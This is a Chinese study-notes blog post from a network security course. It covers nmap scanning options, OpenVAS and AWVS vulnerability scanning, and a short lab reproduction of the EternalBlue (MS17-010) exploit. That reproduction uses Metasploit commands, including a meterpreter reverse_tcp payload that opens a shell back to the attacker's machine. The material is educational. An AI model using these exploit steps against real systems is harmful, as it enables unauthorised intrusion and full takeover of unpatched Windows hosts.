引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足;对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以我就想到了通过写博客(课程笔记)的形式去学习它,虽然写博客会让我多花几倍的时间去学习它,但是当我完成一篇博客所获得的成就感和你们对于我的认同感,让我很满足,能够鼓励我一天天的坚持下去,也希望和我一起学习本期视频的"同道"们也能给一直坚持下去。我们大家一起加油。由于作者本身也是网络信息安全小白,大部分知识点都是初次接触,出现对其理解不深入,不完整,甚至也会出现错误有问题的地方,希望大家谅解、留言提出指正,同时也欢迎大家来找我一起交流学习!!!

往期博客:

第一阶段:

[网络安全学习篇1]:windowsxp、windows2003、windows7、windows2008系统部署(千峰网络安全视频笔记)

[网络安全学习篇24]:漏洞与木马(千峰网络安全视频笔记 p117-p118)

第二阶段:

[网络安全学习篇25]:初识Linux及简单命令

[网络安全学习篇32]:Linux脚本编写汇总及应用

第三阶段:

[网络安全学习篇33]:0基础带你入门python

[网络安全学习篇38]:基础环境搭建

[网络安全学习篇39]:HTML标签基础 常用的标签 表格

[网络安全学习篇42]:靶场环境搭建(ubuntu系统安装优化及vulhub安装)

[网络安全学习篇43]:PHP基础+变量 运算符 流程控制语句

[网络安全学习篇48]:JS 基础 函数 事件)

第四阶段:

[网络安全学习篇49]:渗透测试方法论

[网络安全学习篇50]:Web架构安全分析

[网络安全学习篇51]:信息收集

[网络安全学习篇52]:扫描技术(本篇)

下期博文:

[网络安全学习篇53]:口令破解

目录

扫描

资产发现

扫描神器(nmap)

端口扫描

参数

命令

端口状态

工具

网络漏洞扫描

漏洞扫描原理

漏洞扫描通常分为两大类

*黑盒扫描

*白盒测试

OpenVAS 扫描

*扫描目标

*扫描策略

*扫描任务

*扫描完成

*扫描报告

Web 漏洞扫描

使用AWVS 扫描testfire.net

Web 漏洞扫描原理

关于漏洞

漏洞的描述

永恒之蓝漏洞复现


扫描

自动化

提高效率

资产发现

发现目标环境中哪些资产,联网设备,主机,服务器,各种服务等。

资产整理,发现,收集。

扫描神器(nmap)

nmap.org

跨平台

自动集成在 kali

如果使用kali 中的nmap 扫描的时候,建议桥接

如果在没有指定端口的情况下,默认扫描top 1000 端口

主机发现

有哪些主机在线,IP 地址

端口扫描

开启的端口

端口上的服务

扫描方式

TCP 全链接扫描

SYN 半连接扫描

隐蔽扫描

Null 扫描

Xmas 扫描

FIN  扫描

参数

------

-sP/-sn       不进行端口扫描

-p

-p 80

-p 1-80

-p 80,3389,8080

-p 1-65535

-p-

-sT                TCP全连接扫描

建立完整的三次握手过程

-sS               SYN半连接扫描

只进行三次握手的前两次

-sN               Null扫描

-sX               Xmas扫描

-sF               Fin扫描

-sV                                  显示服务的详细版本

-O                获取操作系统类型(不太准确)

-oN/-ox           保存扫描结果,txt/xml

xpath 自学

-A                全面扫描

-T0 ~ -T5         时序选项

------

命令

------

  • nmap
  • nmap 127.0.0.1
  • nmap 192.168.1.0/24 -sP
  • namp 127.0.0.1 -p-
  • nmap 192.168.1.1 -p 80 -sT
  • nmap 192.168.1.1 -p 80 -sS
  • nmap 192.168.1.1 -p 80 -sX
  • nmap 192.168.1.1 -p 80 -sN
  • nmap 192.168.1.1 -p 80 -sF
  • namp -sV 127.0.0.1 -p 22
  • nmap -p- -A 127.0.0.1 -oN result.txt

---------------

端口状态

开放

关闭

过滤

未过滤

开放|过滤

关闭|过滤

工具

wireshark

ipaddr == 10.0.105.1 and tcp.port == 80

过滤

网络漏洞扫描

我们可以通过网络漏洞扫描,全面掌握目标服务器存在的安全隐患。市面上常用的扫描器有Nessus、NeXpose、OpenVAS等,这是扫描器都有商业版和家庭版

我们这里使用的是OpenVAS,可以用来识别远程主机、Web应用存在的各种漏洞。Nessus 曾是业内开源扫描工具的的标准,在Nessus 商业化不再开放源代码后,在它的原始项目中分支出OpenVAS 开源项目。经过多年发展,OpenVAS已经成为当前最好的开源漏洞扫描器,功能非常强大,甚至可以跟一些商业漏洞扫描器相媲美。

OpenVAS 使用 NVT 脚本对多种远程系统(包括Windows、Linux、UNIX 以及Web 应用程序)的安全问题进行检测

漏洞扫描原理

网络漏洞扫描是指利用一些自动化的工具发现网上的各类主机设备的安全漏洞。

漏洞扫描通常分为两大类

*黑盒扫描

黑河扫描一般通过远程识别服务的类型和版本,对服务是否存在漏洞进行判定。在一些最新的漏洞扫描软件中,应用了一些更高级的的技术,比如模拟渗透攻击

*白盒测试

白盒扫描就是在具有主机权限的情况下进行漏洞扫描。比如微软的补丁更新程序会定期对你的操作系统进行扫描,查找存在的安全漏洞,并向你推送详细的系统补丁

白盒扫描的结果更加准确,但是一般来说他所是被出来的漏洞不应当直接作为渗透测试的最终数据,因为这些漏洞由于防火墙和各类防护软件的原因很可能无法在外部渗透的测试中得到利用。同时,一般情况下,你是没有机会获取用户的用户名和口令。

漏洞扫描器一般会附带一个用于识别主机漏洞的特征库,并定期进行更新。在漏洞扫描的时候,就是利用特征库里的脚本与目标系统的反馈信息进行匹配,如果能匹配上,就说明存在一个漏洞。

漏洞扫描器再识别漏洞的过程中,会向目标发送大量的数据包,有时候会导致目标系统拒绝服务或被扫描数据包阻塞,扫描行为会被对方的入侵检测设备发现。

漏洞扫描器扫描出的结果通常会有很多误报(报告发现的漏洞实际不存在)或者漏报(未报告发现的漏洞实际存在)。因此,需要对扫描结果进行人工分析,确定哪些漏洞是实际存在的,这个过程叫做漏洞验证。这是渗透测试过程中不可缺少的一步,只有验证漏洞存在的真实性,才能对漏洞进行深度利用。

渗透测试工作中,在得到客户认可的情况下,可以使用扫描器进行扫描,但使用时一定要注意规避风险,对其系统运行可能造成的影响降到最低。

OpenVAS 扫描

*扫描目标

开始进行扫描的时候需要新建一个目标。

新建目标

填写好相关信息,点击[Create].

*扫描策略

查看扫描模板,就是扫描过程中使用的扫描策略和配置,这些扫描模板也可自己配置。

*扫描任务

创建好目标之后,我们创建扫描任务。

新建任务

填写好相关信息,名称自定义。扫描目标要选择之前配置过的,会以下拉列表的形式展现。

创建好扫描目标

点击开始扫描

*扫描完成

点击任务状态,可以查看扫描结果

这里我们发现目标主机存在“永恒之蓝”漏洞

*扫描报告

我们将扫描结果以报告的形式保存下来。

Web 漏洞扫描

随着互联网的发展,Web 应用越来越多,同时Web 应用的攻击成本、攻击难度都比较低,Web 应用成为黑客攻击的主要目标。无论黑客处于什么样的目的,Web 应用所面临的挑战都很大的。

如何即时、快速的发现漏洞,并且修补漏洞,减轻和消除Web 安全风险成为安全行业的重要课题

小型的Web 应用几十上百个页面,大型的Web 应用成千上万个页面,如果靠人工的方法,显然是不可取的。因此我们就需要借助与自动化工具,帮助审计员去发现Web 漏洞。

市面上的Web 漏洞扫描器有很多,其中IBM 公司的AppScan 和商业化Web 漏洞扫描器AWVS 未优秀。Web 漏洞扫描器大同小异,本课程以AWVS 未例子,讲解Web 漏洞扫描器的使用。

使用AWVS 扫描testfire.net

*创建扫描目标

点击[New Scan],即可打开扫描向导,在Website URL中输入网址[http://www.testfire.net],跟着向导一步一步配置即可。

Web 漏洞扫描原理

进行Web 漏洞扫描的时候,大致分为以下几个步骤:

@ 爬行网站目录???

asp

.net

php

框架类的不建议扫描

JAVA框架

http://domain/1/2/3/4/hello

index.php

@ 使用漏洞脚本扫描

@ 保存扫描结果

关于漏洞

漏洞名称

漏洞风险等级

高危|中危|低危|信息漏洞

漏洞的描述

漏洞的危害

前半部分

后半部分

修复建议

前半部分

后半部分

永恒之蓝漏洞复现

工具:MSF

metasploit framework

具体过程

·msfconsole

·search MS17-010

·use exploit/windows/smb/ms17_010_eternalblue

·set payload windows/x64/meterpreter/reverse_tcp

·set RHOSTS 192.168.1.143    //目标靶机ip

·set LHOST 192.168.1.142    //本机IP

·exploit

成功拿到靶机的system权限


参考文献:

千峰网络信息安全开源课程

[网络安全学习篇52]:扫描技术相关推荐

  1. [网络安全学习篇60]:文件上传

    引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...

  2. [网络安全学习篇65]:提权

    引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...

  3. [网络安全学习篇55]:SQL自动化注入

    引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...

  4. [网络安全学习篇58]:PHP代码注入

    引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...

  5. [网络安全学习篇51]:信息收集

    引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...

  6. 网络安全学习篇28_阶段一小结篇_木马的原理及木马防范

    上一篇博客:网络安全学习篇27_阶段一小结篇_DNS欺骗与钓鱼网站的防范 写在前面: 刚开始接触了一些关键词如渗透,sql注入,靶场等就发现对此方面挺感兴趣,毕竟有的人大大小小都有一个黑客梦,恰巧在 ...

  7. 网络安全学习篇26_阶段一小结篇_kali中间人渗透

    上一篇博客:防火墙 写在前面: 刚开始接触了一些关键词如渗透,sql注入,靶场等就发现对此方面挺感兴趣,毕竟有的人大大小小都有一个黑客梦,恰巧在 B站碰到了千峰网络培训发布的系列安全培训视频,系列课程 ...

  8. [网络安全学习篇10]:扫描技术、暴力破解工具(千峰网络安全视频笔记 10 day)

    引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...

  9. [网络安全学习篇21]:防火墙(千峰网络安全视频笔记 21 day)

    引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...

最新文章

  1. 字符设备驱动程序 2
  2. Mini 容器学习笔记4——组件的生命周期(应用篇)
  3. java做报表_一步一步使用POI做java报表
  4. UNIX(多线程):28---双buffer “无锁” 设计
  5. Exchange管理台 启动EMC报错及解决方法集合(持续更新中...)
  6. 【meitong】Windows系统受损切莫将就使用 如何快速修复
  7. 反射的基础(二):构造器类的使用
  8. linux运行级别0-6的各自含义(考试题答案系列)
  9. 源码-PL/SQL从入门到精通-第四章-PL/SQL控制语句
  10. 人口预测模型基础介绍
  11. 小米盒子刷arm linux,最新小米盒子3s刷原生安卓系统图文教程!值得收藏
  12. 一个基本开发框架的整合演化之路--9、整合文件服务器fastdfs
  13. 软件测试学习之悟空CRM项目测试用例编写
  14. java提取一个字符串中的整数和小数部分
  15. html5在线裁剪,html5 Canvas裁剪图片
  16. 牛客网C语言编程初学者入门训练135题
  17. matlab坐标位置灰色,MATLAB画图工具中坐标外面的底色是灰的,该如修改?
  18. cmd/go: “package ... is not in GOROOT“问题解决办法
  19. erp知识基础-会计
  20. 机器学习之线性回归原理详解、公式推导(手推)、简单实例

热门文章

  1. DNF可以在Linux系统运行吗,系统安装-009 Linux下dnf使用
  2. buuctf(入门) Have Fun
  3. 左手坐标系和右手坐标系详解
  4. 数组reduce方法详解
  5. 何种情况会被列为失信被执行人?
  6. 使用宏定义max函数
  7. Flask CORS跨域处理
  8. 高能手办团个别服务器维护,《高能手办团》11月20日例行维护公告
  9. 鸿蒙幼儿园名称分析,幼儿园大班社会场:名字挖掘的意义
  10. Python技术,我们这一年...